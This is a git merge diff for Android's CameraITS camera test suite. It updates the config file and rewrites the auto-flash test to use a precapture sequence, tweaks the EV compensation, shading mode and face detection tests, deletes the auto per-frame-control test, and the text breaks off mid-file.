Merge 3255022f5a382fe873499a16e0a6fdd6a28af681 on remote branch
Change-Id: Icb94d5d39d0e5de70a3d43be8e64ee17067d02bd
diff --git a/apps/CameraITS/config.yml b/apps/CameraITS/config.yml
index 7302e3c..b9b0ddf 100644
--- a/apps/CameraITS/config.yml
+++ b/apps/CameraITS/config.yml
@@ -20,9 +20,9 @@
# Test configuration for scenes[0:4, 6, _change]
Controllers:
AndroidDevice:
- - serial: <device_id>
+ - serial: <device_id> # quotes are needed if serial id is entirely numeric
label: dut
- - serial: <tablet_id>
+ - serial: <tablet_id> # quotes are needed if serial id is entirely numeric
label: tablet
TestParams:
brightness: 192
@@ -37,7 +37,7 @@
# Test configuration for sensor_fusion/test_sensor_fusion.py
Controllers:
AndroidDevice:
- - serial: <device-id>
+ - serial: <device-id> # quotes are needed if serial id is entirely numeric
label: dut
TestParams:
fps: 30
@@ -45,7 +45,7 @@
test_length: 7
debug_mode: "False" # quotes are needed here
chart_distance: 25
- rotator_cntl: <controller-type> # arduino, canakit, or as-is for manual
+ rotator_cntl: "arduino" # Note: only sensor fusion supports manual
rotator_ch: <controller-channel>
camera: <camera-id>
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py
index 9b29ab7..daa55c6 100644
--- a/apps/CameraITS/tests/its_base_test.py
+++ b/apps/CameraITS/tests/its_base_test.py
@@ -52,6 +52,8 @@
'sensor_fusion': [],
}
+logging.getLogger('matplotlib.font_manager').disabled = True
+
class ItsBaseTest(base_test.BaseTestClass):
"""Base test for CameraITS tests.
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
index 7d8b9f2..e407fd6 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
@@ -71,7 +71,6 @@
props = cam.get_camera_properties()
props = cam.override_with_hidden_physical_camera_props(props)
log_path = self.log_path
- debug = self.debug_mode
test_name_w_path = os.path.join(log_path, NAME)
# check SKIP conditions
@@ -113,11 +112,6 @@
caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
luma_locked = []
for i, cap in enumerate(caps):
- if debug:
- img = image_processing_utils.convert_capture_to_rgb_image(
- cap, props)
- image_processing_utils.write_image(
- img, f'{test_name_w_path}_ev{ev}_frame{i}.jpg')
if cap['metadata']['android.control.aeState'] == LOCKED:
ev_meta = cap['metadata']['android.control.aeExposureCompensation']
logging.debug('cap EV compensation: %d', ev_meta)
@@ -132,7 +126,8 @@
rel_tol=luma_locked_rtol):
raise AssertionError(f'AE locked lumas: {luma_locked}, '
f'RTOL: {luma_locked_rtol}')
- logging.debug('lumas in AE locked captures: %s', str(lumas))
+ logging.debug('lumas per frame ev %d: %s', ev, str(luma_locked))
+ logging.debug('mean lumas in AE locked captures: %s', str(lumas))
if caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
'android.control.aeState'] != LOCKED:
raise AssertionError(f'No AE lock by {THRESH_CONVERGE_FOR_EV} frame.')
diff --git a/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py b/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
index e3143f4..7fffa72 100644
--- a/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
+++ b/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
@@ -32,6 +32,7 @@
_SHADING_MODES = {0: 'LSC_OFF', 1: 'LSC_FAST', 2: 'LSC_HQ'}
_NUM_SHADING_MODES = len(_SHADING_MODES)
_THRESHOLD_DIFF_RATIO = 0.15
+_VGA_W, _VGA_H = 640, 480
def create_plots(shading_maps, reference_maps, num_map_gains, log_path):
@@ -76,9 +77,8 @@
Lens shading correction modes are OFF=0, FAST=1, and HQ=2.
- Uses smallest yuv size matching the aspect ratio of largest yuv size to
- reduce some USB bandwidth overhead since we are only looking at output
- metadata in this test.
+ Uses VGA sized captures to reduce some USB bandwidth overhead since we are
+ only looking at output metadata in this test.
First asserts all modes are supported. Then runs 2 captures.
@@ -118,13 +118,11 @@
% str(props.get('android.shading.availableModes')),
[*_SHADING_MODES])
- # get smallest matching fmt
+ # define fmt
mono_camera = camera_properties_utils.mono_camera(props)
cam.do_3a(mono_camera=mono_camera)
- largest_yuv_fmt = capture_request_utils.get_largest_yuv_format(props)
- largest_yuv_size = (largest_yuv_fmt['width'], largest_yuv_fmt['height'])
- cap_fmt = capture_request_utils.get_smallest_yuv_format(
- props, match_ar=largest_yuv_size)
+ cap_fmt = {'format': 'yuv', 'width': _VGA_W, 'height': _VGA_H}
+ logging.debug('Capture format: %s', str(cap_fmt))
# cap1
reference_maps = [[] for mode in range(_NUM_SHADING_MODES)]
diff --git a/apps/CameraITS/tests/scene2_a/test_auto_flash.py b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
index f1b879b..9111e80 100644
--- a/apps/CameraITS/tests/scene2_a/test_auto_flash.py
+++ b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
@@ -1,4 +1,4 @@
-# Copyright 2013 The Android Open Source Project
+# Copyright 2022 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -11,27 +11,30 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-"""Verifies android.flash.mode parameters is applied when set."""
+"""Verifies that flash is fired when lighting conditions are dark."""
import logging
import os.path
-from mobly import test_runner
-import its_base_test
import camera_properties_utils
import capture_request_utils
-import lighting_control_utils
import image_processing_utils
+import its_base_test
import its_session_utils
+import lighting_control_utils
+from mobly import test_runner
AE_MODES = {0: 'OFF', 1: 'ON', 2: 'ON_AUTO_FLASH', 3: 'ON_ALWAYS_FLASH',
4: 'ON_AUTO_FLASH_REDEYE', 5: 'ON_EXTERNAL_FLASH'}
AE_STATES = {0: 'INACTIVE', 1: 'SEARCHING', 2: 'CONVERGED', 3: 'LOCKED',
4: 'FLASH_REQUIRED', 5: 'PRECAPTURE'}
-_GRAD_DELTA_ATOL = 50 # gradiant for tablets as screen aborbs energy
-_MEAN_DELTA_ATOL = 50 # mean used for reflective charts
-_NUM_FRAMES = 8
+FLASH_STATES = {0: 'FLASH_STATE_UNAVAILABLE', 1: 'FLASH_STATE_CHARGING',
+ 2: 'FLASH_STATE_READY', 3: 'FLASH_STATE_FIRED',
+ 4: 'FLASH_STATE_PARTIAL'}
+_GRAD_DELTA_ATOL = 15 # gradiant for tablets as screen aborbs energy
+_MEAN_DELTA_ATOL = 15 # mean used for reflective charts
+
_PATCH_H = 0.25 # center 25%
_PATCH_W = 0.25
_PATCH_X = 0.5 - _PATCH_W/2
@@ -40,27 +43,60 @@
VGA_W, VGA_H = 640, 480
_CAPTURE_INTENT_STILL_CAPTURE = 2
_AE_MODE_ON_AUTO_FLASH = 2
+_CAPTURE_INTENT_PREVIEW = 1
+_CAPTURE_INTENT_STILL_CAPTURE = 2
+_AE_PRECAPTURE_TRIGGER_START = 1
+_AE_PRECAPTURE_TRIGGER_IDLE = 0
-def take_captures(cam, auto_flash=False):
- req = capture_request_utils.auto_capture_request()
- req['android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
- if auto_flash:
- req['android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
- fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
- captures = []
- for _ in range(_NUM_FRAMES):
- one_capture = cam.do_capture(req, fmt)
- captures.append(one_capture)
- return captures
+def turn_off_tablet(tablet_device):
+ output = tablet_device.adb.shell('dumpsys display | grep mScreenState')
+ output_list = str(output.decode('utf-8')).strip().split(' ')
+ for val in output_list:
+ if 'ON' in val:
+ tablet_device.adb.shell(['input', 'keyevent', 'KEYCODE_POWER'])
+
+
+def take_captures_with_flash(cam, fmt):
+ # Run precapture sequence by setting the aePrecapture trigger to
+ # START and capture intent set to Preview.
+ preview_req_start = capture_request_utils.auto_capture_request()
+ preview_req_start[
+ 'android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
+ preview_req_start[
+ 'android.control.captureIntent'] = _CAPTURE_INTENT_PREVIEW
+ preview_req_start[
+ 'android.control.aePrecaptureTrigger'] = _AE_PRECAPTURE_TRIGGER_START
+ # Repeat preview requests with aePrecapture set to IDLE
+ # until AE is converged.
+ preview_req_idle = capture_request_utils.auto_capture_request()
+ preview_req_idle[
+ 'android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
+ preview_req_idle[
+ 'android.control.captureIntent'] = _CAPTURE_INTENT_PREVIEW
+ preview_req_idle[
+ 'android.control.aePrecaptureTrigger'] = _AE_PRECAPTURE_TRIGGER_IDLE
+ # Single still capture request.
+ still_capture_req = capture_request_utils.auto_capture_request()
+ still_capture_req[
+ 'android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
+ still_capture_req[
+ 'android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
+ still_capture_req[
+ 'android.control.aePrecaptureTrigger'] = _AE_PRECAPTURE_TRIGGER_IDLE
+ cap = cam.do_capture_with_flash(preview_req_start,
+ preview_req_idle,
+ still_capture_req, fmt)
+ return cap
class AutoFlashTest(its_base_test.ItsBaseTest):
- """Test that the android.flash.mode parameter is applied."""
+ """Test that flash is fired when lighting conditions are dark."""
def test_auto_flash(self):
logging.debug('AE_MODES: %s', str(AE_MODES))
logging.debug('AE_STATES: %s', str(AE_STATES))
+ logging.debug('FLASH_STATES: %s', str(FLASH_STATES))
with its_session_utils.ItsSession(
device_id=self.dut.serial,
@@ -71,10 +107,10 @@
test_name = os.path.join(self.log_path, _TEST_NAME)
# check SKIP conditions
- first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+ vendor_api_level = its_session_utils.get_vendor_api_level(self.dut.serial)
camera_properties_utils.skip_unless(
camera_properties_utils.flash(props) and
- first_api_level >= its_session_utils.ANDROID13_API_LEVEL)
+ vendor_api_level >= its_session_utils.ANDROID13_API_LEVEL)
# establish connection with lighting controller
arduino_serial_port = lighting_control_utils.lighting_control(
@@ -86,23 +122,22 @@
# turn OFF tablet to darken scene
if self.tablet:
- output = self.tablet.adb.shell('dumpsys display | grep mScreenState')
- output_list = str(output.decode('utf-8')).strip().split(' ')
- for val in output_list:
- if 'ON' in val:
- self.tablet.adb.shell(['input', 'keyevent', 'KEYCODE_POWER'])
-
+ turn_off_tablet(self.tablet)
+ fmt_name = 'jpeg'
+ fmt = {'format': fmt_name}
+ logging.debug('Testing %s format.', fmt_name)
no_flash_exp_x_iso = 0
no_flash_mean = 0
no_flash_grad = 0
flash_exp_x_iso = []
- flash_means = []
- flash_grads = []
- # take captures with no flash as baseline: use last frame
- logging.debug('Taking reference frame(s) with no flash.')
+ # take capture with no flash as baseline
+ logging.debug('Taking reference frame with no flash.')
cam.do_3a(do_af=False)
- cap = take_captures(cam)[_NUM_FRAMES-1]
+ no_flash_req = capture_request_utils.auto_capture_request()
+ no_flash_req[
+ 'android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
+ cap = cam.do_capture(no_flash_req, fmt)
metadata = cap['metadata']
exp = int(metadata['android.sensor.exposureTime'])
iso = int(metadata['android.sensor.sensitivity'])
@@ -120,65 +155,78 @@
patch)[0]*255
no_flash_grad = image_processing_utils.compute_image_max_gradients(
patch)[0]*255
- image_processing_utils.write_image(y, f'{test_name}_no_flash_Y.jpg')
+ image_processing_utils.write_image(
+ y, f'{test_name}_{fmt_name}_no_flash_Y.jpg')
# log results
logging.debug('No flash exposure X ISO %d', no_flash_exp_x_iso)
logging.debug('No flash Y grad: %.4f', no_flash_grad)
logging.debug('No flash Y mean: %.4f', no_flash_mean)
- # take captures with auto flash enabled
- logging.debug('Taking frames with auto flash enabled.')
- cam.do_3a(do_af=False, auto_flash=True)
- caps = take_captures(cam, auto_flash=True)
+ # take capture with auto flash enabled
+ logging.debug('Taking capture with auto flash enabled.')
+ flash_fired = False
- # evaluate captured images
- for i in range(_NUM_FRAMES):
- logging.debug('frame # %d', i)
- metadata = caps[i]['metadata']
- exp = int(metadata['android.sensor.exposureTime'])
- iso = int(metadata['android.sensor.sensitivity'])
- logging.debug('ISO: %d, exp: %d ns', iso, exp)
- logging.debug('AE_MODE (cap): %s',
- AE_MODES[metadata['android.control.aeMode']])
- ae_state = AE_STATES[metadata['android.control.aeState']]
- logging.debug('AE_STATE (cap): %s', ae_state)
- flash_exp_x_iso.append(exp*iso)
+ cap = take_captures_with_flash(cam, fmt)
+ y, _, _ = image_processing_utils.convert_capture_to_planes(
+ cap, props)
+ # Save captured image
+ image_processing_utils.write_image(y,
+ f'{test_name}_{fmt_name}_flash_Y.jpg')
+ # evaluate captured image
+ metadata = cap['metadata']
+ exp = int(metadata['android.sensor.exposureTime'])
+ iso = int(metadata['android.sensor.sensitivity'])
+ logging.debug('cap ISO: %d, exp: %d ns', iso, exp)
+ logging.debug('AE_MODE (cap): %s',
+ AE_MODES[metadata['android.control.aeMode']])
+ ae_state = AE_STATES[metadata['android.control.aeState']]
+ logging.debug('AE_STATE (cap): %s', ae_state)
+ flash_state = FLASH_STATES[metadata['android.flash.state']]
+ logging.debug('FLASH_STATE: %s', flash_state)
+ if flash_state == 'FLASH_STATE_FIRED':
+ logging.debug('Flash fired')
+ flash_fired = True
+ flash_exp_x_iso = exp*iso
y, _, _ = image_processing_utils.convert_capture_to_planes(
- caps[i], props)
+ cap, props)
patch = image_processing_utils.get_image_patch(
y, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
- flash_means.append(
- image_processing_utils.compute_image_means(patch)[0]*255)
- flash_grads.append(
- image_processing_utils.compute_image_max_gradients(patch)[0]*255)
+ flash_mean = image_processing_utils.compute_image_means(
+ patch)[0]*255
+ flash_grad = image_processing_utils.compute_image_max_gradients(
+ patch)[0]*255
- image_processing_utils.write_image(
- y, f'{test_name}_auto_flash_Y_{i}.jpg')
-
- if i == 0:
- if ae_state != AE_STATES[4]: # FLASH_REQUIRED
- raise AssertionError('Scene not dark enough to trigger auto-flash. '
- 'Check scene.')
+ if not flash_fired:
+ raise AssertionError('Flash was not fired.')
# log results
- logging.debug('Flash exposure X ISOs %s', str(flash_exp_x_iso))
- logging.debug('Flash frames Y grads: %s', str(flash_grads))
- logging.debug('Flash frames Y means: %s', str(flash_means))
-
- # turn lights back ON
- lighting_control_utils.set_lighting_state(
- arduino_serial_port, self.lighting_ch, 'ON')
+ logging.debug('Flash exposure X ISO %d', flash_exp_x_iso)
+ logging.debug('Flash frames Y grad: %.4f', flash_grad)
+ logging.debug('Flash frames Y mean: %.4f', flash_mean)
# assert correct behavior
- grad_delta = max(flash_grads) - no_flash_grad
- mean_delta = max(flash_means) - no_flash_mean
+ grad_delta = flash_grad - no_flash_grad
+ mean_delta = flash_mean - no_flash_mean
if not (grad_delta > _GRAD_DELTA_ATOL or
mean_delta > _MEAN_DELTA_ATOL):
raise AssertionError(
f'grad FLASH-OFF: {grad_delta:.3f}, ATOL: {_GRAD_DELTA_ATOL}, '
f'mean FLASH-OFF: {mean_delta:.3f}, ATOL: {_MEAN_DELTA_ATOL}')
+ # Ensure that the flash is turned OFF after flash was fired.
+ req = capture_request_utils.auto_capture_request()
+ req['android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
+ cap = cam.do_capture(req, fmt)
+ flash_state_after = FLASH_STATES[cap['metadata']['android.flash.state']]
+ logging.debug('FLASH_STATE after flash fired: %s', flash_state_after)
+ if flash_state_after != 'FLASH_STATE_READY':
+ raise AssertionError('Flash should turn OFF after it was fired.')
+
+ # turn lights back ON
+ lighting_control_utils.set_lighting_state(
+ arduino_serial_port, self.lighting_ch, 'ON')
+
if __name__ == '__main__':
test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_a/test_num_faces.py b/apps/CameraITS/tests/scene2_a/test_num_faces.py
index 304b67b..f7e111b 100644
--- a/apps/CameraITS/tests/scene2_a/test_num_faces.py
+++ b/apps/CameraITS/tests/scene2_a/test_num_faces.py
@@ -16,6 +16,8 @@
import logging
import os.path
+
+import cv2
from mobly import test_runner
import its_base_test
@@ -23,7 +25,6 @@
import capture_request_utils
import image_processing_utils
import its_session_utils
-import cv2
FD_MODE_OFF = 0
FD_MODE_SIMPLE = 1
@@ -149,8 +150,7 @@
logging.debug('active array size: %s', str(a))
file_name_stem = os.path.join(self.log_path, NAME)
- if camera_properties_utils.read_3a(props):
- _, _, _, _, _ = cam.do_3a(get_results=True, mono_camera=mono_camera)
+ cam.do_3a(mono_camera=mono_camera)
for fd_mode in fd_modes:
logging.debug('face detection mode: %d', fd_mode)
diff --git a/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py b/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py
deleted file mode 100644
index eaa5531..0000000
--- a/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py
+++ /dev/null
@@ -1,305 +0,0 @@
-# Copyright 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-"""Verifies per_frame_control."""
-
-
-import logging
-import os.path
-import matplotlib
-from matplotlib import pylab
-from mobly import test_runner
-import numpy as np
-
-import its_base_test
-import camera_properties_utils
-import capture_request_utils
-import image_processing_utils
-import its_session_utils
-
-_AE_STATE_CONVERGED = 2
-_AE_STATE_FLASH_REQUIRED = 4
-_DELTA_GAIN_THRESH = 3 # >3% gain change --> luma change in same dir.
-_DELTA_LUMA_THRESH = 3 # 3% frame-to-frame noise test_burst_sameness_manual.
-_DELTA_NO_GAIN_THRESH = 1 # <1% gain change --> min luma change.
-_NAME = os.path.splitext(os.path.basename(__file__))[0]
-_NS_TO_MS = 1.0E-6
-_NUM_CAPS = 1
-_NUM_FRAMES = 30
-_PATCH_H = 0.1 # Center 10%.
-_PATCH_W = 0.1
-_PATCH_X = 0.5 - _PATCH_W/2
-_PATCH_Y = 0.5 - _PATCH_H/2
-_RAW_NIBBLE_SIZE = 6 # Used to increase NUM_CAPS & decrease NUM_FRAMES for RAW.
-_RAW_GR_CH = 1
-_VALID_LUMA_MIN = 0.1
-_VALID_LUMA_MAX = 0.9
-_YUV_Y_CH = 0
-
-
-def _check_delta_luma_vs_delta_gain(fmt, j, lumas, total_gains):
- """Determine if luma and gain move together for current frame."""
- delta_gain = total_gains[j] - total_gains[j-1]
- delta_luma = lumas[j] - lumas[j-1]
- delta_gain_rel = delta_gain / total_gains[j-1] * 100 # %
- delta_luma_rel = delta_luma / lumas[j-1] * 100 # %
- # luma and total_gain should change in same direction
- if abs(delta_gain_rel) > _DELTA_GAIN_THRESH:
- logging.debug('frame %d: %.2f%% delta gain, %.2f%% delta luma',
- j, delta_gain_rel, delta_luma_rel)
- if delta_gain * delta_luma < 0.0:
- return (f"{fmt['format']}: frame {j}: gain {total_gains[j-1]:.1f} "
- f'-> {total_gains[j]:.1f} ({delta_gain_rel:.1f}%), '
- f'luma {lumas[j-1]} -> {lumas[j]} ({delta_luma_rel:.2f}%) '
- f'GAIN/LUMA OPPOSITE DIR')
- elif abs(delta_gain_rel) < _DELTA_NO_GAIN_THRESH:
- logging.debug('frame %d: <|%.1f%%| delta gain, %.2f%% delta luma', j,
- _DELTA_NO_GAIN_THRESH, delta_luma_rel)
- if abs(delta_luma_rel) > _DELTA_LUMA_THRESH:
- return (f"{fmt['format']}: frame {j}: gain {total_gains[j-1]:.1f} "
- f'-> {total_gains[j]:.1f} ({delta_gain_rel:.1f}%), '
- f'luma {lumas[j-1]} -> {lumas[j]} ({delta_luma_rel:.2f}%), '
- f'<|{_DELTA_NO_GAIN_THRESH:.1f}%| GAIN, '
- f'>|{_DELTA_LUMA_THRESH:.1f}%| LUMA DELTA')
- else:
- logging.debug('frame %d: %.1f%% delta gain, %.2f%% delta luma',
- j, delta_gain_rel, delta_luma_rel)
- return None
-
-
-def _determine_test_formats(cam, props, raw_avlb, debug):
- """Determines the capture formats to test.
-
- Args:
- cam: Camera capture object.
- props: Camera properties dict.
- raw_avlb: Boolean for if RAW captures are available.
- debug: Boolean for whether in debug mode.
- Returns:
- fmts: List of formats.
- """
- largest_yuv = capture_request_utils.get_largest_yuv_format(props)
- match_ar = (largest_yuv['width'], largest_yuv['height'])
- fmt = capture_request_utils.get_smallest_yuv_format(
- props, match_ar=match_ar)
- if raw_avlb and debug:
- return (cam.CAP_RAW, fmt)
- else:
- return (fmt,)
-
-
-def _tabulate_frame_data(metadata, luma, raw_cap, debug):
- """Puts relevant frame data into a dictionary."""
- ae_state = metadata['android.control.aeState']
- iso = metadata['android.sensor.sensitivity']
- isp_gain = metadata['android.control.postRawSensitivityBoost'] / 100
- exp_time = metadata['android.sensor.exposureTime'] * _NS_TO_MS
- total_gain = iso * exp_time
- if not raw_cap:
- total_gain *= isp_gain
- awb_state = metadata['android.control.awbState']
- frame = {
- 'awb_gains': metadata['android.colorCorrection.gains'],
- 'ccm': metadata['android.colorCorrection.transform'],
- 'fd': metadata['android.lens.focusDistance'],
- }
-
- # Convert CCM from rational to float, as numpy arrays.
- awb_ccm = np.array(capture_request_utils.rational_to_float(
- frame['ccm'])).reshape(3, 3)
-
- logging.debug('AE: %d ISO: %d ISP_sen: %d exp: %4fms tot_gain: %f luma: %f',
- ae_state, iso, isp_gain, exp_time, total_gain, luma)
- logging.debug('fd: %f', frame['fd'])
- logging.debug('AWB state: %d, AWB gains: %s\n AWB matrix: %s', awb_state,
- str(frame['awb_gains']), str(awb_ccm))
- if debug:
- logging.debug('Tonemap curve: %s', str(metadata['android.tonemap.curve']))
-
- return frame, ae_state, total_gain
-
-
-def _compute_frame_luma(cap, props, raw_cap):
- """Determines the luma for the center patch of the frame.
-
- RAW captures use GR plane, YUV captures use Y plane.
-
- Args:
- cap: Camera capture object.
- props: Camera properties dict.
- raw_cap: Boolean for capture is RAW or YUV.
- Returns:
- luma: Luma value for center patch of image.
- """
- if raw_cap:
- plane = image_processing_utils.convert_capture_to_planes(
- cap, props=props)[_RAW_GR_CH]
- else:
- plane = image_processing_utils.convert_capture_to_planes(cap)[_YUV_Y_CH]
-
- patch = image_processing_utils.get_image_patch(
- plane, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
- return image_processing_utils.compute_image_means(patch)[0]
-
-
-def _plot_data(lumas, gains, fmt, log_path):
- """Plots lumas and gains data for this test.
-
- Args:
- lumas: List of luma data from captures.
- gains: List of gain data from captures.
- fmt: String to identify 'YUV' or 'RAW' plots.
- log_path: Location to store data.
- """
- norm_gains = [x / max(gains) * max(lumas) for x in gains]
-
- pylab.figure(fmt)
- pylab.plot(range(len(lumas)), lumas, '-g.', label='Center patch brightness')
- pylab.plot(range(len(gains)), norm_gains, '-r.',
- label='Metadata AE setting product')
- pylab.title(_NAME + ' ' + fmt)
- pylab.xlabel('frame index')
-
- # expand y axis for low delta results
- ymin = min(norm_gains + lumas)
- ymax = max(norm_gains + lumas)
- yavg = (ymax + ymin) / 2.0
- if ymax - ymin < 3 * _DELTA_LUMA_THRESH/100:
- ymin = round(yavg - 1.5 * _DELTA_LUMA_THRESH/100, 3)
- ymax = round(yavg + 1.5 * _DELTA_LUMA_THRESH/100, 3)
- pylab.ylim(ymin, ymax)
- pylab.legend()
- matplotlib.pyplot.savefig(
- '%s_plot_%s.png' % (os.path.join(log_path, _NAME), fmt))
-
-
-def _is_awb_af_stable(cap_info, i):
- """Determines if Auto White Balance and Auto Focus are stable."""
- awb_gains_i_1 = cap_info[i-1]['awb_gains']
- awb_gains_i = cap_info[i]['awb_gains']
-
- return (np.allclose(awb_gains_i_1, awb_gains_i, rtol=0.01) and
- cap_info[i-1]['ccm'] == cap_info[i]['ccm'] and
- np.isclose(cap_info[i-1]['fd'], cap_info[i]['fd'], rtol=0.01))
-
-
-class AutoPerFrameControlTest(its_base_test.ItsBaseTest):
- """Tests PER_FRAME_CONTROL properties for auto capture requests.
-
- Takes a sequence of images with auto capture request.
- Determines if luma and gain settings move in same direction for large setting
- changes.
- Small settings changes should result in small changes in luma.
- Threshold for checking is DELTA_GAIN_THRESH. Theshold where not change is
- expected is DELTA_NO_GAIN_THRESH.
-
- While not included in this test, if camera debug is required:
- MANUAL_POSTPROCESSING capability is implied since
- camera_properties_utils.read_3a is valid for test.
-
- debug can also be performed with a defined tonemap curve:
- req['android.tonemap.mode'] = 0
- gamma = sum([[i/63.0,math.pow(i/63.0,1/2.2)] for i in xrange(64)],[])
- req['android.tonemap.curve'] = {'red': gamma, 'green': gamma,
- 'blue': gamma}
- """
-
- def test_auto_per_frame_control(self):
- logging.debug('Starting %s', _NAME)
- with its_session_utils.ItsSession(
- device_id=self.dut.serial,
- camera_id=self.camera_id,
- hidden_physical_id=self.hidden_physical_id) as cam:
- props = cam.get_camera_properties()
- props = cam.override_with_hidden_physical_camera_props(props)
- log_path = self.log_path
-
- # Check SKIP conditions.
- camera_properties_utils.skip_unless(
- camera_properties_utils.per_frame_control(props) and
- camera_properties_utils.read_3a(props))
-
- # Load chart for scene.
- its_session_utils.load_scene(
- cam, props, self.scene, self.tablet, self.chart_distance)
-
- debug = self.debug_mode
- raw_avlb = camera_properties_utils.raw16(props)
- fmts = _determine_test_formats(cam, props, raw_avlb, debug)
-
- failed = []
- for i, fmt in enumerate(fmts):
- logging.debug('fmt: %s', str(fmt['format']))
- cam.do_3a()
- req = capture_request_utils.auto_capture_request()
- cap_info = {}
- ae_states = []
- lumas = []
- total_gains = []
- num_caps = _NUM_CAPS
- num_frames = _NUM_FRAMES
- raw_cap = i == 0 and raw_avlb and debug
- # Break up caps if RAW to reduce bandwidth requirements.
- if raw_cap:
- num_caps = _NUM_CAPS * _RAW_NIBBLE_SIZE
- num_frames = _NUM_FRAMES // _RAW_NIBBLE_SIZE
-
- # Capture frames and tabulate info.
- for j in range(num_caps):
- caps = cam.do_capture([req] * num_frames, fmt)
- for k, cap in enumerate(caps):
- idx = k + j * num_frames
- logging.debug('=========== frame %d ==========', idx)
- luma = _compute_frame_luma(cap, props, raw_cap)
- frame, ae_state, total_gain = _tabulate_frame_data(
- cap['metadata'], luma, raw_cap, debug)
- cap_info[idx] = frame
- ae_states.append(ae_state)
- lumas.append(luma)
- total_gains.append(total_gain)
-
- # Save image.
- img = image_processing_utils.convert_capture_to_rgb_image(
- cap, props=props)
- image_processing_utils.write_image(img, '%s_frame_%s_%d.jpg' % (
- os.path.join(log_path, _NAME), fmt['format'], idx))
-
- _plot_data(lumas, total_gains, fmt['format'], log_path)
-
- # Check correct behavior
- logging.debug('fmt: %s', str(fmt['format']))
- for j in range(1, num_caps * num_frames):
- if _is_awb_af_stable(cap_info, j):
- error_msg = _check_delta_luma_vs_delta_gain(
- fmt, j, lumas, total_gains)
- if error_msg:
- failed.append(error_msg)
- else:
- logging.debug('frame %d -> %d: AWB/AF changed', j-1, j)
-
- for j, luma in enumerate(lumas):
- if ((ae_states[j] == _AE_STATE_CONVERGED or
- ae_states[j] == _AE_STATE_FLASH_REQUIRED) and
- (_VALID_LUMA_MIN > luma or luma > _VALID_LUMA_MAX)):
- failed.append(
- f"{fmt['format']}: frame {j} AE converged luma {luma}. "
- f'Valid range: ({_VALID_LUMA_MIN}, {_VALID_LUMA_MAX})'
- )
- if failed:
- logging.error('Error summary')
- for fail in failed:
- logging.error('%s', fail)
- raise AssertionError
-
-if __name__ == '__main__':
- test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
index 658ec8b..cb5be2a 100644
--- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
@@ -27,7 +27,7 @@
class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest):
"""Test camera launch latency for S performance class as specified in CDD.
- [7.5/H-1-6] MUST have camera2 startup latency (open camera to first preview
+ [2.2.7.2/7.5/H-1-6] MUST have camera2 startup latency (open camera to first preview
frame) < 600ms as measured by the CTS camera PerformanceTest under ITS
lighting conditions (3000K) for both primary cameras.
"""
diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
index f56d34c..fb19f2f 100644
--- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
@@ -27,7 +27,7 @@
class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
"""Test jpeg capture latency for S performance class as specified in CDD.
- [7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p
+ [2.2.7.2/7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p
resolution as measured by the CTS camera PerformanceTest under ITS lighting
conditions (3000K) for both primary cameras.
"""
diff --git a/apps/CameraITS/tests/scene3/test_edge_enhancement.py b/apps/CameraITS/tests/scene3/test_edge_enhancement.py
index c6a3bcb..c1b63c7 100644
--- a/apps/CameraITS/tests/scene3/test_edge_enhancement.py
+++ b/apps/CameraITS/tests/scene3/test_edge_enhancement.py
@@ -67,17 +67,17 @@
for n in range(NUM_SAMPLES):
cap = cam.do_capture(req, out_surface, repeat_request=req)
y, _, _ = image_processing_utils.convert_capture_to_planes(cap)
